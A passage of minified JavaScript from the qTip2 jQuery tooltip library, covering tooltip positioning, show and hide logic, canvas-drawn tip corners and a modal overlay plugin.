if(e.isFunction(u.effect)){u.effect.call(l,this,e.extend({},S));l.queue((function(t){e(this).css({opacity:"",height:""});if($.ie){this.style.removeAttribute("filter")}t()}))}this.positioning=n;return this};_.reposition.offset=function(t,n,i){if(!i[0]){return n}var r=e(t[0].ownerDocument),s=!!$.ie&&a.compatMode!=="CSS1Compat",o=i[0],l,u,c,f;function d(e,t){n.left+=t*e.scrollLeft();n.top+=t*e.scrollTop()}do{if((u=e.css(o,"position"))!=="static"){if(u==="fixed"){c=o.getBoundingClientRect();d(r,-1)}else{c=e(o).position();c.left+=parseFloat(e.css(o,"borderLeftWidth"))||0;c.top+=parseFloat(e.css(o,"borderTopWidth"))||0}n.left-=c.left+(parseFloat(e.css(o,"marginLeft"))||0);n.top-=c.top+(parseFloat(e.css(o,"marginTop"))||0);if(!l&&(f=e.css(o,"overflow"))!=="hidden"&&f!=="visible"){l=e(o)}}}while(o=o.offsetParent);if(l&&(l[0]!==r[0]||s)){d(l,1)}return n};var U=(w=_.reposition.Corner=function(e,t){e=(""+e).replace(/([A-Z])/," $1").replace(/middle/gi,g).toLowerCase();this.x=(e.match(/left|right/i)||e.match(/center/)||["inherit"])[0].toLowerCase();this.y=(e.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase();this.forceY=!!t;var n=e.charAt(0);this.precedance=n==="t"||n==="b"?s:r}).prototype;U.invert=function(e,t){this[e]=this[e]===d?p:this[e]===p?d:t||this[e]};U.string=function(e){var t=this.x,n=this.y;var i=t!==n?t==="center"||n!=="center"&&(this.precedance===s||this.forceY)?[n,t]:[t,n]:[t];return e!==false?i.join(" "):i};U.abbrev=function(){var e=this.string(false);return e[0].charAt(0)+(e[1]&&e[1].charAt(0)||"")};U.clone=function(){return new w(this.string(),this.forceY)};_.toggle=function(r,s){var o=this.cache,l=this.options,u=this.tooltip;if(s){if(/over|enter/.test(s.type)&&o.event&&/out|leave/.test(o.event.type)&&l.show.target.add(s.target).length===l.show.target.length&&u.has(s.relatedTarget).length){return this}o.event=e.event.fix(s)}this.waiting&&!r&&(this.hiddenDuringWait=t);if(!this.rendered){return r?this.render(1):this}else if(this.destroyed||this.disabled){return this}var c=r?"show":"hide",f=this.options[c],d=this.options.position,h=this.options.content,p=this.tooltip.css("width"),g=this.tooltip.is(":visible"),v=r||f.target.length===1,m=!s||f.target.length<2||o.target[0]===s.target,y,b,_;if((typeof r).search("boolean|number")){r=!g}y=!u.is(":animated")&&g===r&&m;b=!y?!!this._trigger(c,[90]):i;if(this.destroyed){return this}if(b!==n&&r){this.focus(s)}if(!b||y){return this}e.attr(u[0],"aria-hidden",!!!r);if(r){this.mouse&&(o.origin=e.event.fix(this.mouse));if(e.isFunction(h.text)){this._updateContent(h.text,n)}if(e.isFunction(h.title)){this._updateTitle(h.title,n)}if(!M&&d.target==="mouse"&&d.adjust.mouse){e(a).bind("mousemove."+C,this._storeMouse);M=t}if(!p){u.css("width",u.outerWidth(n))}this.reposition(s,arguments[2]);if(!p){u.css("width","")}if(!!f.solo){(typeof f.solo==="string"?e(f.solo):e(S,f.solo)).not(u).not(f.target).qtip("hide",new e.Event("tooltipsolo"))}}else{clearTimeout(this.timers.show);delete o.origin;if(M&&!e(S+'[tracking="true"]:visible',f.solo).not(u).length){e(a).unbind("mousemove."+C);M=n}this.blur(s)}_=e.proxy((function(){if(r){if($.ie){u[0].style.removeAttribute("filter")}u.css("overflow","");if("string"===typeof f.autofocus){e(this.options.show.autofocus,u).focus()}this.options.show.target.trigger("qtip-"+this.id+"-inactive")}else{u.css({display:"",visibility:"",opacity:"",left:"",top:""})}this._trigger(r?"visible":"hidden")}),this);if(f.effect===n||v===n){u[c]();_()}else if(e.isFunction(f.effect)){u.stop(1,1);f.effect.call(u,this);u.queue("fx",(function(e){_();e()}))}else{u.fadeTo(90,r?1:0,_)}if(r){f.target.trigger("qtip-"+this.id+"-inactive")}return this};_.show=function(e){return this.toggle(t,e)};_.hide=function(e){return this.toggle(n,e)};_.focus=function(t){if(!this.rendered||this.destroyed){return this}var n=e(S),i=this.tooltip,r=parseInt(i[0].style.zIndex,10),s=b.zindex+n.length;if(!i.hasClass(N)){if(this._trigger("focus",[s],t)){if(r!==s){n.each((function(){if(this.style.zIndex>r){this.style.zIndex=this.style.zIndex-1}}));n.filter("."+N).qtip("blur",t)}i.addClass(N)[0].style.zIndex=s}}return this};_.blur=function(e){if(!this.rendered||this.destroyed){return this}this.tooltip.removeClass(N);this._trigger("blur",[this.tooltip.css("zIndex")],e);return this};_.disable=function(e){if(this.destroyed){return this}if(e==="toggle"){e=!(this.rendered?this.tooltip.hasClass(L):this.disabled)}else if("boolean"!==typeof e){e=t}if(this.rendered){this.tooltip.toggleClass(L,e).attr("aria-disabled",e)}this.disabled=!!e;return this};_.enable=function(){return this.disable(n)};_._createButton=function(){var t=this,i=this.elements,r=i.tooltip,s=this.options.content.button,o=typeof s==="string",a=o?s:"Close tooltip";if(i.button){i.button.remove()}if(s.jquery){i.button=s}else{i.button=e("<a />",{class:"qtip-close "+(this.options.style.widget?"":C+"-icon"),title:a,"aria-label":a}).prepend(e("<span />",{class:"ui-icon ui-icon-close",html:"×"}))}i.button.appendTo(i.titlebar||r).attr("role","button").click((function(e){if(!r.hasClass(L)){t.hide(e)}return n}))};_._updateButton=function(e){if(!this.rendered){return n}var t=this.elements.button;if(e){this._createButton()}else{t.remove()}};function K(e){return T.concat("").join(e?"-"+e+" ":" ")}_._setWidget=function(){var e=this.options.style.widget,t=this.elements,n=t.tooltip,i=n.hasClass(L);n.removeClass(L);L=e?"ui-state-disabled":"qtip-disabled";n.toggleClass(L,i);n.toggleClass("ui-helper-reset "+K(),e).toggleClass(O,this.options.style.def&&!e);if(t.content){t.content.toggleClass(K("content"),e)}if(t.titlebar){t.titlebar.toggleClass(K("header"),e)}if(t.button){t.button.toggleClass(C+"-icon",!e)}};function G(t,n){if(n>0){return setTimeout(e.proxy(t,this),n)}else{t.call(this)}}function Y(e){if(this.tooltip.hasClass(L)){return}clearTimeout(this.timers.show);clearTimeout(this.timers.hide);this.timers.show=G.call(this,(function(){this.toggle(t,e)}),this.options.show.delay)}function X(t){if(this.tooltip.hasClass(L)||this.destroyed){return}var i=e(t.relatedTarget),r=i.closest(S)[0]===this.tooltip[0],s=i[0]===this.options.show.target[0];clearTimeout(this.timers.show);clearTimeout(this.timers.hide);if(this!==i[0]&&(this.options.position.target==="mouse"&&r)||this.options.hide.fixed&&(/mouse(out|leave|move)/.test(t.type)&&(r||s))){try{t.preventDefault();t.stopImmediatePropagation()}catch(e){}return}this.timers.hide=G.call(this,(function(){this.toggle(n,t)}),this.options.hide.delay,this)}function J(e){if(this.tooltip.hasClass(L)||!this.options.hide.inactive){return}clearTimeout(this.timers.inactive);this.timers.inactive=G.call(this,(function(){this.hide(e)}),this.options.hide.inactive)}function Z(e){if(this.rendered&&this.tooltip[0].offsetWidth>0){this.reposition(e)}}_._storeMouse=function(t){(this.mouse=e.event.fix(t)).type="mousemove";return this};_._bind=function(t,n,i,r,s){if(!t||!i||!n.length){return}var o="."+this._id+(r?"-"+r:"");e(t).bind((n.split?n:n.join(o+" "))+o,e.proxy(i,s||this));return this};_._unbind=function(t,n){t&&e(t).unbind("."+this._id+(n?"-"+n:""));return this};function ee(t,n,i){e(a.body).delegate(t,(n.split?n:n.join("."+C+" "))+"."+C,(function(){var t=b.api[e.attr(this,A)];t&&!t.disabled&&i.apply(t,arguments)}))}_._trigger=function(t,r,s){var o=new e.Event("tooltip"+t);o.originalEvent=s&&e.extend({},s)||this.cache.event||i;this.triggering=t;this.tooltip.trigger(o,[this].concat(r||[]));this.triggering=n;return!o.isDefaultPrevented()};_._bindEvents=function(t,n,i,r,s,o){var a=i.filter(r).add(r.filter(i)),l=[];if(a.length){e.each(n,(function(n,i){var r=e.inArray(i,t);r>-1&&l.push(t.splice(r,1)[0])}));if(l.length){this._bind(a,l,(function(e){var t=this.rendered?this.tooltip[0].offsetWidth>0:false;(t?o:s).call(this,e)}));i=i.not(a);r=r.not(a)}}this._bind(i,t,s);this._bind(r,n,o)};_._assignInitialEvents=function(i){var r=this.options,s=r.show.target,o=r.hide.target,a=r.show.event?e.trim(""+r.show.event).split(" "):[],l=r.hide.event?e.trim(""+r.hide.event).split(" "):[];this._bind(this.elements.target,["remove","removeqtip"],(function(){this.destroy(true)}),"destroy");if(/mouse(over|enter)/i.test(r.show.event)&&!/mouse(out|leave)/i.test(r.hide.event)){l.push("mouseleave")}this._bind(s,"mousemove",(function(e){this._storeMouse(e);this.cache.onTarget=t}));function u(t){if(this.disabled||this.destroyed){return n}this.cache.event=t&&e.event.fix(t);this.cache.target=t&&e(t.target);clearTimeout(this.timers.show);this.timers.show=G.call(this,(function(){this.render(typeof t==="object"||r.show.ready)}),r.prerender?0:r.show.delay)}this._bindEvents(a,l,s,o,u,(function(){if(!this.timers){return n}clearTimeout(this.timers.show)}));if(r.show.ready||r.prerender){u.call(this,i)}};_._assignEvents=function(){var t=this,i=this.options,r=i.position,s=this.tooltip,l=i.show.target,u=i.hide.target,c=r.container,f=r.viewport,d=e(a),h=e(o),p=i.show.event?e.trim(""+i.show.event).split(" "):[],g=i.hide.event?e.trim(""+i.hide.event).split(" "):[];e.each(i.events,(function(e,n){t._bind(s,e==="toggle"?["tooltipshow","tooltiphide"]:["tooltip"+e],n,null,s)}));if(/mouse(out|leave)/i.test(i.hide.event)&&i.hide.leave==="window"){this._bind(d,["mouseout","blur"],(function(e){if(!/select|option/.test(e.target.nodeName)&&!e.relatedTarget){this.hide(e)}}))}if(i.hide.fixed){u=u.add(s.addClass(D))}else if(/mouse(over|enter)/i.test(i.show.event)){this._bind(u,"mouseleave",(function(){clearTimeout(this.timers.show)}))}if((""+i.hide.event).indexOf("unfocus")>-1){this._bind(c.closest("html"),["mousedown","touchstart"],(function(t){var n=e(t.target),i=this.rendered&&!this.tooltip.hasClass(L)&&this.tooltip[0].offsetWidth>0,r=n.parents(S).filter(this.tooltip[0]).length>0;if(n[0]!==this.target[0]&&n[0]!==this.tooltip[0]&&!r&&!this.target.has(n[0]).length&&i){this.hide(t)}}))}if("number"===typeof i.hide.inactive){this._bind(l,"qtip-"+this.id+"-inactive",J,"inactive");this._bind(u.add(s),b.inactiveEvents,J)}this._bindEvents(p,g,l,u,Y,X);this._bind(l.add(s),"mousemove",(function(e){if("number"===typeof i.hide.distance){var t=this.cache.origin||{},n=this.options.hide.distance,r=Math.abs;if(r(e.pageX-t.pageX)>=n||r(e.pageY-t.pageY)>=n){this.hide(e)}}this._storeMouse(e)}));if(r.target==="mouse"){if(r.adjust.mouse){if(i.hide.event){this._bind(l,["mouseenter","mouseleave"],(function(e){if(!this.cache){return n}this.cache.onTarget=e.type==="mouseenter"}))}this._bind(d,"mousemove",(function(e){if(this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(L)&&this.tooltip[0].offsetWidth>0){this.reposition(e)}}))}}if(r.adjust.resize||f.length){this._bind(e.event.special.resize?f:h,"resize",Z)}if(r.adjust.scroll){this._bind(h.add(r.container),"scroll",Z)}};_._unassignEvents=function(){var t=this.options,n=t.show.target,i=t.hide.target,r=e.grep([this.elements.target[0],this.rendered&&this.tooltip[0],t.position.container[0],t.position.viewport[0],t.position.container.closest("html")[0],o,a],(function(e){return typeof e==="object"}));if(n&&n.toArray){r=r.concat(n.toArray())}if(i&&i.toArray){r=r.concat(i.toArray())}this._unbind(r)._unbind(r,"destroy")._unbind(r,"inactive")};e((function(){ee(S,["mouseenter","mouseleave"],(function(t){var n=t.type==="mouseenter",i=e(t.currentTarget),r=e(t.relatedTarget||t.target),s=this.options;if(n){this.focus(t);i.hasClass(D)&&!i.hasClass(L)&&clearTimeout(this.timers.hide)}else{if(s.position.target==="mouse"&&s.position.adjust.mouse&&s.hide.event&&s.show.target&&!r.closest(s.show.target[0]).length){this.hide(t)}}i.toggleClass(P,n)}));ee("["+A+"]",j,J)}));function te(r,s,o){var l,u,c,f,d,h=e(a.body),p=r[0]===a?h:r,g=r.metadata?r.metadata(o.metadata):i,v=o.metadata.type==="html5"&&g?g[o.metadata.name]:i,m=r.data(o.metadata.name||"qtipopts");try{m=typeof m==="string"?e.parseJSON(m):m}catch(e){}f=e.extend(t,{},b.defaults,o,typeof m==="object"?q(m):i,q(v||g));u=f.position;f.id=s;if("boolean"===typeof f.content.text){c=r.attr(f.content.attr);if(f.content.attr!==n&&c){f.content.text=c}else{return n}}if(!u.container.length){u.container=h}if(u.target===n){u.target=p}if(f.show.target===n){f.show.target=p}if(f.show.solo===t){f.show.solo=u.container.closest("body")}if(f.hide.target===n){f.hide.target=p}if(f.position.viewport===t){f.position.viewport=u.container}u.container=u.container.eq(0);u.at=new w(u.at,t);u.my=new w(u.my);if(r.data(C)){if(f.overwrite){r.qtip("destroy",true)}else if(f.overwrite===n){return n}}r.attr(E,s);if(f.suppress&&(d=r.attr("title"))){r.removeAttr("title").attr(I,d).attr("title","")}l=new R(r,f,s,!!c);r.data(C,l);return l}b=e.fn.qtip=function(r,s,o){var a=(""+r).toLowerCase(),u=i,c=e.makeArray(arguments).slice(1),f=c[c.length-1],d=this[0]?e.data(this[0],C):i;if(!arguments.length&&d||a==="api"){return d}else if("string"===typeof r){this.each((function(){var i=e.data(this,C);if(!i){return t}if(f&&f.timeStamp){i.cache.event=f}if(s&&(a==="option"||a==="options")){if(o!==l||e.isPlainObject(s)){i.set(s,o)}else{u=i.get(s);return n}}else if(i[a]){i[a].apply(i,c)}}));return u!==i?u:this}else if("object"===typeof r||!arguments.length){d=q(e.extend(t,{},r));return this.each((function(i){var r,s;s=e.isArray(d.id)?d.id[i]:d.id;s=!s||s===n||s.length<1||b.api[s]?b.nextid++:s;r=te(e(this),s,d);if(r===n){return t}else{b.api[s]=r}e.each(k,(function(){if(this.initialize==="initialize"){this(r)}}));r._assignInitialEvents(f)}))}};e.qtip=R;b.api={};e.each({attr:function(t,n){if(this.length){var i=this[0],r="title",s=e.data(i,"qtip");if(t===r&&s&&s.options&&"object"===typeof s&&"object"===typeof s.options&&s.options.suppress){if(arguments.length<2){return e.attr(i,I)}if(s&&s.options.content.attr===r&&s.cache.attr){s.set("content.text",n)}return this.attr(I,n)}}return e.fn["attr"+F].apply(this,arguments)},clone:function(t){var n=e.fn["clone"+F].apply(this,arguments);if(!t){n.filter("["+I+"]").attr("title",(function(){return e.attr(this,I)})).removeAttr(I)}return n}},(function(n,i){if(!i||e.fn[n+F]){return t}var r=e.fn[n+F]=e.fn[n];e.fn[n]=function(){return i.apply(this,arguments)||r.apply(this,arguments)}}));if(!e.ui){e["cleanData"+F]=e.cleanData;e.cleanData=function(t){for(var n=0,i;(i=e(t[n])).length;n++){if(i.attr(E)){try{i.triggerHandler("removeqtip")}catch(e){}}}e["cleanData"+F].apply(this,arguments)}}b.version="3.0.3";b.nextid=0;b.inactiveEvents=j;b.zindex=15e3;b.defaults={prerender:n,id:n,overwrite:t,suppress:t,content:{text:t,attr:"title",title:n,button:n},position:{my:"top left",at:"bottom right",target:n,container:n,viewport:n,adjust:{x:0,y:0,mouse:t,scroll:t,resize:t,method:"flipinvert flipinvert"},effect:function(t,i){e(this).animate(i,{duration:200,queue:n})}},show:{target:n,event:"mouseenter",effect:t,delay:90,solo:n,ready:n,autofocus:n},hide:{target:n,event:"mouseleave",effect:t,delay:0,fixed:n,inactive:n,leave:"window",distance:n},style:{classes:"",widget:n,width:n,height:n,def:t},events:{render:i,move:i,show:i,hide:i,toggle:i,visible:i,hidden:i,focus:i,blur:i}};var ne,ie,re,se,oe,ae="margin",le="border",ue="color",ce="background-color",fe="transparent",de=" !important",he=!!a.createElement("canvas").getContext,pe=/rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i;function ge(e){return e.charAt(0).toUpperCase()+e.slice(1)}var ve={},me=["Webkit","O","Moz","ms"];function ye(e,t){var n=t.charAt(0).toUpperCase()+t.slice(1),i=(t+" "+me.join(n+" ")+n).split(" "),r,s,o=0;if(ve[t]){return e.css(ve[t])}while(r=i[o++]){if((s=e.css(r))!==l){ve[t]=r;return s}}}function be(e,t){return Math.ceil(parseFloat(ye(e,t)))}if(!he){ie=function(e,t,n){return"<qtipvml:"+e+' xmlns="urn:schemas-microsoft.com:vml" class="qtip-vml" '+(t||"")+' style="behavior: url(#default#VML); '+(n||"")+'" />'}}else{se=o.devicePixelRatio||1;oe=function(){var e=a.createElement("canvas").getContext("2d");return e.backingStorePixelRatio||e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||1}();re=se/oe}function _e(e,t){this._ns="tip";this.options=t;this.offset=t.offset;this.size=[t.width,t.height];this.qtip=e;this.init(e)}e.extend(_e.prototype,{init:function(t){var n,i;i=this.element=t.elements.tip=e("<div />",{class:C+"-tip"}).prependTo(t.tooltip);if(he){n=e("<canvas />").appendTo(this.element)[0].getContext("2d");n.lineJoin="miter";n.miterLimit=1e5;n.save()}else{n=ie("shape",'coordorigin="0,0"',"position:absolute;");this.element.html(n+n);t._bind(e("*",i).add(i),["click","mousedown"],(function(e){e.stopPropagation()}),this._ns)}t._bind(t.tooltip,"tooltipmove",this.reposition,this._ns,this);this.create()},_swapDimensions:function(){this.size[0]=this.options.height;this.size[1]=this.options.width},_resetDimensions:function(){this.size[0]=this.options.width;this.size[1]=this.options.height},_useTitle:function(e){var n=this.qtip.elements.titlebar;return n&&(e.y===f||e.y===g&&this.element.position().top+this.size[1]/2+this.options.offset<n.outerHeight(t))},_parseCorner:function(e){var i=this.qtip.options.position.my;if(e===n||i===n){e=n}else if(e===t){e=new w(i.string())}else if(!e.string){e=new w(e);e.fixed=t}return e},_parseWidth:function(e,t,n){var i=this.qtip.elements,r=le+ge(t)+"Width";return(n?be(n,r):be(i.content,r)||be(this._useTitle(e)&&i.titlebar||i.content,r)||be(i.tooltip,r))||0},_parseRadius:function(e){var t=this.qtip.elements,n=le+ge(e.y)+ge(e.x)+"Radius";return $.ie<9?0:be(this._useTitle(e)&&t.titlebar||t.content,n)||be(t.tooltip,n)||0},_invalidColour:function(e,t,i){var r=e.css(t);return!r||i&&r===e.css(i)||pe.test(r)?n:r},_parseColours:function(t){var n=this.qtip.elements,i=this.element.css("cssText",""),r=le+ge(t[t.precedance])+ge(ue),s=this._useTitle(t)&&n.titlebar||n.content,o=this._invalidColour,a=[];a[0]=o(i,ce)||o(s,ce)||o(n.content,ce)||o(n.tooltip,ce)||i.css(ce);a[1]=o(i,r,ue)||o(s,r,ue)||o(n.content,r,ue)||o(n.tooltip,r,ue)||n.tooltip.css(r);e("*",i).add(i).css("cssText",ce+":"+fe+de+";"+le+":0"+de+";");return a},_calculateSize:function(e){var t=e.precedance===s,n=this.options.width,i=this.options.height,r=e.abbrev()==="c",o=(t?n:i)*(r?.5:1),a=Math.pow,l=Math.round,u,c,f,d=Math.sqrt(a(o,2)+a(i,2)),h=[this.border/o*d,this.border/i*d];h[2]=Math.sqrt(a(h[0],2)-a(this.border,2));h[3]=Math.sqrt(a(h[1],2)-a(this.border,2));u=d+h[2]+h[3]+(r?0:h[0]);c=u/d;f=[l(c*n),l(c*i)];return t?f:f.reverse()},_calculateTip:function(e,t,n){n=n||1;t=t||this.size;var i=t[0]*n,r=t[1]*n,s=Math.ceil(i/2),o=Math.ceil(r/2),a={br:[0,0,i,r,i,0],bl:[0,0,i,0,0,r],tr:[0,r,i,0,i,r],tl:[0,0,0,r,i,r],tc:[0,r,s,0,i,r],bc:[0,0,i,0,s,r],rc:[0,0,i,o,0,r],lc:[i,0,i,r,0,o]};a.lt=a.br;a.rt=a.bl;a.lb=a.tr;a.rb=a.tl;return a[e.abbrev()]},_drawCoords:function(e,t){e.beginPath();e.moveTo(t[0],t[1]);e.lineTo(t[2],t[3]);e.lineTo(t[4],t[5]);e.closePath()},create:function(){var e=this.corner=(he||$.ie)&&this._parseCorner(this.options.corner);this.enabled=!!this.corner&&this.corner.abbrev()!=="c";if(this.enabled){this.qtip.cache.corner=e.clone();this.update()}this.element.toggle(this.enabled);return this.corner},update:function(i,a){if(!this.enabled){return this}var l=this.qtip.elements,v=this.element,m=v.children(),y=this.options,b=this.size,_=y.mimic,x=Math.round,k,C,E,A,T,S,j,D;if(!i){i=this.qtip.cache.corner||this.corner}if(_===n){_=i}else{_=new w(_);_.precedance=i.precedance;if(_.x==="inherit"){_.x=i.x}else if(_.y==="inherit"){_.y=i.y}else if(_.x===_.y){_[i.precedance]=i[i.precedance]}}C=_.precedance;if(i.precedance===r){this._swapDimensions()}else{this._resetDimensions()}k=this.color=this._parseColours(i);if(k[1]!==fe){D=this.border=this._parseWidth(i,i[i.precedance]);if(y.border&&D<1&&!pe.test(k[1])){k[0]=k[1]}this.border=D=y.border!==t?y.border:D}else{this.border=D=0}j=this.size=this._calculateSize(i);v.css({width:j[0],height:j[1],lineHeight:j[1]+"px"});if(i.precedance===s){S=[x(_.x===d?D:_.x===p?j[0]-b[0]-D:(j[0]-b[0])/2),x(_.y===f?j[1]-b[1]:0)]}else{S=[x(_.x===d?j[0]-b[0]:0),x(_.y===f?D:_.y===h?j[1]-b[1]-D:(j[1]-b[1])/2)]}if(he){E=m[0].getContext("2d");E.restore();E.save();E.clearRect(0,0,6e3,6e3);A=this._calculateTip(_,b,re);T=this._calculateTip(_,this.size,re);m.attr(u,j[0]*re).attr(c,j[1]*re);m.css(u,j[0]).css(c,j[1]);this._drawCoords(E,T);E.fillStyle=k[1];E.fill();E.translate(S[0]*re,S[1]*re);this._drawCoords(E,A);E.fillStyle=k[0];E.fill()}else{A=this._calculateTip(_);A="m"+A[0]+","+A[1]+" l"+A[2]+","+A[3]+" "+A[4]+","+A[5]+" xe";S[2]=D&&/^(r|b)/i.test(i.string())?$.ie===8?2:1:0;m.css({coordsize:j[0]+D+" "+j[1]+D,antialias:""+(_.string().indexOf(g)>-1),left:S[0]-S[2]*Number(C===r),top:S[1]-S[2]*Number(C===s),width:j[0]+D,height:j[1]+D}).each((function(t){var n=e(this);n[n.prop?"prop":"attr"]({coordsize:j[0]+D+" "+j[1]+D,path:A,fillcolor:k[0],filled:!!t,stroked:!t}).toggle(!!(D||t));!t&&n.html(ie("stroke",'weight="'+D*2+'px" color="'+k[1]+'" miterlimit="1000" joinstyle="miter"'))}))}o.opera&&setTimeout((function(){l.tip.css({display:"inline-block",visibility:"visible"})}),1);if(a!==n){this.calculate(i,j)}},calculate:function(t,i){if(!this.enabled){return n}var o=this,a=this.qtip.elements,l=this.element,u=this.options.offset,c={},h,p;t=t||this.corner;h=t.precedance;i=i||this._calculateSize(t);p=[t.x,t.y];if(h===r){p.reverse()}e.each(p,(function(e,n){var r,l,p;if(n===g){r=h===s?d:f;c[r]="50%";c[ae+"-"+r]=-Math.round(i[h===s?0:1]/2)+u}else{r=o._parseWidth(t,n,a.tooltip);l=o._parseWidth(t,n,a.content);p=o._parseRadius(t);c[n]=Math.max(-o.border,e?l:u+(p>r?p:-r))}}));c[t[h]]-=i[h===r?0:1];l.css({margin:"",top:"",bottom:"",left:"",right:""}).css(c);return c},reposition:function(e,i,o){if(!this.enabled){return}var a=i.cache,u=this.corner.clone(),c=o.adjusted,v=i.options.position.adjust.method.split(" "),m=v[0],b=v[1]||v[0],_={left:n,top:n,x:0,y:0},w,x={},k;function C(e,t,n,i,o){if(e===y&&u.precedance===t&&c[i]&&u[n]!==g){u.precedance=u.precedance===r?s:r}else if(e!==y&&c[i]){u[t]=u[t]===g?c[i]>0?i:o:u[t]===i?o:i}}function E(e,t,i){if(u[e]===g){x[ae+"-"+t]=_[e]=w[ae+"-"+t]-c[t]}else{k=w[i]!==l?[c[t],-w[t]]:[-c[t],w[t]];if((_[e]=Math.max(k[0],k[1]))>k[0]){o[t]-=c[t];_[t]=n}x[w[i]!==l?i:t]=_[e]}}if(this.corner.fixed!==t){C(m,r,s,d,p);C(b,s,r,f,h);if(u.string()!==a.corner.string()||a.cornerTop!==c.top||a.cornerLeft!==c.left){this.update(u,n)}}w=this.calculate(u);if(w.right!==l){w.left=-w.right}if(w.bottom!==l){w.top=-w.bottom}w.user=this.offset;_.left=m===y&&!!c.left;if(_.left){E(r,d,p)}_.top=b===y&&!!c.top;if(_.top){E(s,f,h)}this.element.css(x).toggle(!(_.x&&_.y||u.x===g&&_.y||u.y===g&&_.x));o.left-=w.left.charAt?w.user:m!==y||_.top||!_.left&&!_.top?w.left+this.border:0;o.top-=w.top.charAt?w.user:b!==y||_.left||!_.left&&!_.top?w.top+this.border:0;a.cornerLeft=c.left;a.cornerTop=c.top;a.corner=u.clone()},destroy:function(){this.qtip._unbind(this.qtip.tooltip,this._ns);if(this.qtip.elements.tip){this.qtip.elements.tip.find("*").remove().end().remove()}}});ne=k.tip=function(e){return new _e(e,e.options.style.tip)};ne.initialize="render";ne.sanitize=function(e){if(e.style&&"tip"in e.style){var n=e.style.tip;if(typeof n!=="object"){n=e.style.tip={corner:n}}if(!/string|boolean/i.test(typeof n.corner)){n.corner=t}}};x.tip={"^position.my|style.tip.(corner|mimic|border)$":function(){this.create();this.qtip.reposition()},"^style.tip.(height|width)$":function(e){this.size=[e.width,e.height];this.update();this.qtip.reposition()},"^content.title|style.(classes|widget)$":function(){this.update()}};e.extend(t,b.defaults,{style:{tip:{corner:t,mimic:n,width:6,height:6,border:t,offset:0}}});var we,xe,ke="qtip-modal",Ce="."+ke;xe=function(){var r=this,s={},o,l,u;function c(t){if(e.expr[":"].focusable){return e.expr[":"].focusable}var n=!isNaN(e.attr(t,"tabindex")),i=t.nodeName&&t.nodeName.toLowerCase(),r,s,o;if("area"===i){r=t.parentNode;s=r.name;if(!t.href||!s||r.nodeName.toLowerCase()!=="map"){return false}o=e("img[usemap=#"+s+"]")[0];return!!o&&o.is(":visible")}return/input|select|textarea|button|object/.test(i)?!t.disabled:"a"===i?t.href||n:n}function f(e){if(s.length<1&&e.length){e.not("body").blur()}else{s.first().focus()}}function d(t){if(!u.is(":visible")){return}var i=e(t.target),r=o.tooltip,s=i.closest(S),a;a=s.length<1?n:parseInt(s[0].style.zIndex,10)>parseInt(r[0].style.zIndex,10);if(!a&&i.closest(S)[0]!==r[0]){f(i)}}e.extend(r,{init:function(){u=r.elem=e("<div />",{id:"qtip-overlay",html:"<div></div>",mousedown:function(){return n}}).hide();e(a.body).bind("focusin"+Ce,d);e(a).bind("keydown"+Ce,(function(e){if(o&&o.options.show.modal.escape&&e.keyCode===27){o.hide(e)}}));u.bind("click"+Ce,(function(e){if(o&&o.options.show.modal.blur){o.hide(e)}}));return r},update:function(e){o=e;if(e.options.show.modal.stealfocus!==n){s=e.tooltip.find("*").filter((function(){return c(this)}))}else{s=[]}},toggle:function(s,c,d){var h=s.tooltip,p=s.options.show.modal,g=p.effect,v=c?"show":"hide",m=u.is(":visible"),y=e(Ce).filter(":visible:not(:animated)").not(h);r.update(s);if(c&&p.stealfocus!==n){f(e(":focus"))}u.toggleClass("blurs",p.blur);if(c){u.appendTo(a.body)}if(u.is(":animated")&&m===c&&l!==n||!c&&y.length){return r}u.stop(t,n);if(e.isFunction(g)){g.call(u,c)}else if(g===n){u[v]()}else{u.fadeTo(parseInt(d,10)||90,c?1:0,(function(){if(!c){u.hide()}}))}if(!c){u.queue((function(t){u.css({left:"",top:""});if(!e(Ce).length){u.detach()}t()}))}l=c;if(o.destroyed){o=i}return r}});r.init()};xe=new xe;function Ee(e,t){this.options=t;this._ns="-modal";this.qtip=e;this.init(e)}e.extend(Ee.prototype,{init:function(t){var n=t.tooltip;if(!this.options.on){return this}t.elements.overlay=xe.elem;n.addClass(ke).css("z-index",b.modal_zindex+e(Ce).length);t._bind(n,["tooltipshow","tooltiphide"],(function(t,i,r){var s=t.originalEvent;if(t.target===n[0]){if(s&&t.type==="tooltiphide"&&/mouse(leave|enter)/.test(s.type)&&e(s.relatedTarget).closest(xe.elem[0]).length){try{t.preventDefault()}catch(e){}}else if(!s||s&&s.type!=="tooltipsolo"){this.toggle(t,t.type==="tooltipshow",r)}}}),this._ns,this);t._bind(n,"tooltipfocus",(function(t,i){if(t.isDefaultPrevented()||t.target!==n[0]){return}var r=e(Ce),s=b.modal_zindex+r.length,o=parseInt(n[0].style.zIndex,10);xe.elem[0].style.zIndex=s-1;r.each((function(){if(this.style.zIndex>o){this.style.zIndex-=1}}));r.filter("."+N).qtip("blur",t.originalEvent);n.addClass(N)[0].style.zIndex=s;xe.update(i);try{t.preventDefault()}catch(e){}}),this._ns,this);t._bind(n,"tooltiphide",(function(t){if(t.target===n[0]){e(Ce).filter(":visible").not(n).last().qtip("focus",t)}}),this._ns,this)},toggle:function(e,t,n){if(e&&e.isDefaultPrevented()){return this}xe.toggle(this.qtip,!!t,n)},destroy:function(){this.qtip.tooltip.removeClass(ke);this.qtip._unbind(this.qtip.tooltip,this._ns);xe.toggle(this.qtip,n);delete this.qtip.elements.overlay}});we=k.modal=function(e){return new Ee(e,e.options.show.modal)};we.sanitize=function(e){if(e.show){if(typeof e.show.modal!=="object"){e.show.modal={on:!!e.show.modal}}else if(typeof e.show.modal.on==="undefined"){e.show.modal.on=t}}};b.modal_zindex=b.zindex-200;we.initialize="render";x.modal={"^show.modal.(on|blur)$":function(){this.destroy();this.init();this.qtip.elems.overlay.toggle(this.qtip.tooltip[0].offsetWidth>0)}};e.extend(t,b.defaults,{show:{modal:{on:n,effect:t,blur:t,stealfocus:t,escape:t}}});k.viewport=function(e,t,i,l,v,b,_){var w=i.target,x=e.elements.tooltip,k=i.my,C=i.at,E=i.adjust,A=E.method.split(" 